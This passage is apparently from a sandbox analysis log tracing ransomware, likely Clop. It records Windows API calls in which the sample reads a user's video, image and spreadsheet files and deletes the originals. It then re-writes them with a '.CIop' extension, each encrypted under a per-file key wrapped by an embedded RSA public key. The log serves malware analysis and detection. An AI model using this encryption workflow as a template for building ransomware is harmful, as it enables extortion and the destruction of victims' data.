"c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\eowo0nlnhzdtxx7wgkmw.mp4.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x62c [0104.432] WriteFile (in: hFile=0x62c, lpBuffer=0x2ef0048*, nNumberOfBytesToWrite=0x64c2, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesWritten=0x357e5d8*=0x64c2, lpOverlapped=0x0) returned 1 [0104.432] SetFilePointer (in: hFile=0x62c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x64c2 [0104.433] WriteFile (in: hFile=0x62c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x357e5d8*=0x7, lpOverlapped=0x0) returned 1 [0104.433] SetFilePointer (in: hFile=0x62c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x64c9 [0104.433] SetErrorMode (uMode=0x1) returned 0x1 [0104.433] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0104.433] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0104.433] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x357d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598 | out: pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598) returned 1 [0104.433] CryptAcquireContextW (in: phProv=0x357d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x357d5a8*=0x2f1aef0) returned 1 [0104.516] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1aef0, dwCertEncodingType=0x1, pInfo=0x691d48, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x357d5b0 | out: phKey=0x357d5b0*=0x67e4f8) returned 1 [0104.516] CryptEncrypt (in: hKey=0x67e4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x357d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x357d5b4*=0x80) returned 1 [0104.516] CryptEncrypt (in: hKey=0x67e4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1af78*, pdwDataLen=0x357d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1af78*, pdwDataLen=0x357d5a4*=0x80) returned 1 [0104.516] WriteFile (in: hFile=0x62c, lpBuffer=0x2f1af78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1af78*, lpNumberOfBytesWritten=0x357e5d8*=0x80, lpOverlapped=0x0) returned 1 [0104.516] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.516] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0104.516] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0104.517] CloseHandle (hObject=0x62c) returned 1 [0104.518] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\Eowo0nLnhzDtXx7wGkmW.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\eowo0nlnhzdtxx7wgkmw.mp4")) returned 0 Thread: id = 200 os_tid = 0xd54 [0104.522] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0104.522] lstrcpyW (in: lpString1=0x312f368, lpString2="LzUKcb-uGVeX.png" | out: lpString1="LzUKcb-uGVeX.png") returned="LzUKcb-uGVeX.png" [0104.522] lstrcpyW (in: lpString1=0x312f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0104.522] SetErrorMode (uMode=0x1) returned 0x1 [0104.522] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\LzUKcb-uGVeX.png") returned 58 [0104.522] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\LzUKcb-uGVeX.png", dwFileAttributes=0x20) returned 1 [0104.522] StrStrW (lpFirst="LzUKcb-uGVeX.png", lpSrch=".CIop") returned 0x0 [0104.522] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\LzUKcb-uGVeX.png.CIop") returned 63 [0104.522] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\LzUKcb-uGVeX.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\lzukcb-ugvex.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0104.523] ReadFile (in: hFile=0x638, lpBuffer=0x2f1c318, nNumberOfBytesToRead=0xd158, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f1c318*, lpNumberOfBytesRead=0x312e5e8*=0xd158, lpOverlapped=0x0) returned 1 [0104.524] CloseHandle (hObject=0x638) returned 1 [0104.524] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\LzUKcb-uGVeX.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\lzukcb-ugvex.png")) returned 1 [0104.564] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0104.564] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0104.564] SetErrorMode (uMode=0x1) returned 0x1 [0104.564] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f1b000) returned 1 [0104.573] CryptGenKey (in: hProv=0x2f1b000, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67e5f8) returned 1 [0104.674] CryptExportKey (in: hKey=0x67e5f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0104.674] CryptExportKey (in: hKey=0x67e5f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0104.674] CryptDestroyKey (hKey=0x67e5f8) returned 1 [0104.674] CryptReleaseContext (hProv=0x2f1b000, dwFlags=0x0) returned 1 [0104.674] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\LzUKcb-uGVeX.png.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\lzukcb-ugvex.png.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x654 [0104.674] WriteFile (in: hFile=0x654, lpBuffer=0x2f1c318*, nNumberOfBytesToWrite=0xd158, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1c318*, lpNumberOfBytesWritten=0x312e5d8*=0xd158, lpOverlapped=0x0) returned 1 [0104.675] SetFilePointer (in: hFile=0x654, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd158 [0104.675] WriteFile (in: hFile=0x654, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0104.676] SetFilePointer (in: hFile=0x654, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd15f [0104.676] SetErrorMode (uMode=0x1) returned 0x1 [0104.676] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0104.676] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0104.676] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0104.676] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f1b000) returned 1 [0104.678] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1b000, dwCertEncodingType=0x1, pInfo=0x692708, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67e8b8) returned 1 [0104.678] CryptEncrypt (in: hKey=0x67e8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0104.678] CryptEncrypt (in: hKey=0x67e8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1bf68*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1bf68*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0104.678] WriteFile (in: hFile=0x654, lpBuffer=0x2f1bf68*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1bf68*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0104.679] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.679] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0104.679] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0104.679] CloseHandle (hObject=0x654) returned 1 [0104.680] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\LzUKcb-uGVeX.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\lzukcb-ugvex.png")) returned 0 Thread: id = 201 os_tid = 0xd58 [0104.634] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0104.634] lstrcpyW (in: lpString1=0x326f368, lpString2="FnTKrRERf_0VWyksIzp.xls" | out: lpString1="FnTKrRERf_0VWyksIzp.xls") returned="FnTKrRERf_0VWyksIzp.xls" [0104.634] lstrcpyW (in: lpString1=0x326f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0104.634] SetErrorMode (uMode=0x1) returned 0x1 [0104.634] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\FnTKrRERf_0VWyksIzp.xls") returned 64 [0104.634] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\FnTKrRERf_0VWyksIzp.xls", dwFileAttributes=0x20) returned 1 [0104.635] StrStrW (lpFirst="FnTKrRERf_0VWyksIzp.xls", lpSrch=".CIop") returned 0x0 [0104.635] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\FnTKrRERf_0VWyksIzp.xls.CIop") returned 69 [0104.635] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\FnTKrRERf_0VWyksIzp.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fntkrrerf_0vwyksizp.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x654 [0104.635] ReadFile (in: hFile=0x654, lpBuffer=0x2f29478, nNumberOfBytesToRead=0x7594, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f29478*, lpNumberOfBytesRead=0x326e5e8*=0x7594, lpOverlapped=0x0) returned 1 [0104.636] CloseHandle (hObject=0x654) returned 1 [0104.636] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\FnTKrRERf_0VWyksIzp.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fntkrrerf_0vwyksizp.xls")) returned 1 [0104.863] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0104.863] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0104.863] SetErrorMode (uMode=0x1) returned 0x1 [0104.863] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x2f1c210) returned 1 [0104.873] CryptGenKey (in: hProv=0x2f1c210, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x67e638) returned 1 [0105.028] CryptExportKey (in: hKey=0x67e638, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0105.028] CryptExportKey (in: hKey=0x67e638, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ff0000, pdwDataLen=0x326e5ec | out: pbData=0x2ff0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0105.028] CryptDestroyKey (hKey=0x67e638) returned 1 [0105.028] CryptReleaseContext (hProv=0x2f1c210, dwFlags=0x0) returned 1 [0105.028] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\FnTKrRERf_0VWyksIzp.xls.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fntkrrerf_0vwyksizp.xls.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0105.029] WriteFile (in: hFile=0x634, lpBuffer=0x2f29478*, nNumberOfBytesToWrite=0x7594, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f29478*, lpNumberOfBytesWritten=0x326e5d8*=0x7594, lpOverlapped=0x0) returned 1 [0105.030] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7594 [0105.030] WriteFile (in: hFile=0x634, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0105.030] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x759b [0105.030] SetErrorMode (uMode=0x1) returned 0x1 [0105.030] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0105.030] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0105.030] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0105.030] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x2f1b440) returned 1 [0105.032] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1b440, dwCertEncodingType=0x1, pInfo=0x6922f8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x67ea78) returned 1 [0105.032] CryptEncrypt (in: hKey=0x67ea78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0105.033] CryptEncrypt (in: hKey=0x67ea78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1b660*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1b660*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0105.033] WriteFile (in: hFile=0x634, lpBuffer=0x2f1b660*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1b660*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0105.033] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.033] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.033] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.033] CloseHandle (hObject=0x634) returned 1 [0105.034] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\FnTKrRERf_0VWyksIzp.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fntkrrerf_0vwyksizp.xls")) returned 0 Thread: id = 202 os_tid = 0xd5c [0104.681] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0104.681] lstrcpyW (in: lpString1=0x347f368, lpString2="gbg6IyO.avi" | out: lpString1="gbg6IyO.avi") returned="gbg6IyO.avi" [0104.681] lstrcpyW (in: lpString1=0x347f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0104.681] SetErrorMode (uMode=0x1) returned 0x1 [0104.681] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\gbg6IyO.avi") returned 63 [0104.681] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\gbg6IyO.avi", dwFileAttributes=0x20) returned 1 [0104.682] StrStrW (lpFirst="gbg6IyO.avi", lpSrch=".CIop") returned 0x0 [0104.682] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\gbg6IyO.avi.CIop") returned 68 [0104.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\gbg6IyO.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\valp\\gbg6iyo.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0104.682] ReadFile (in: hFile=0x634, lpBuffer=0x2f0cc90, nNumberOfBytesToRead=0x7803, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: 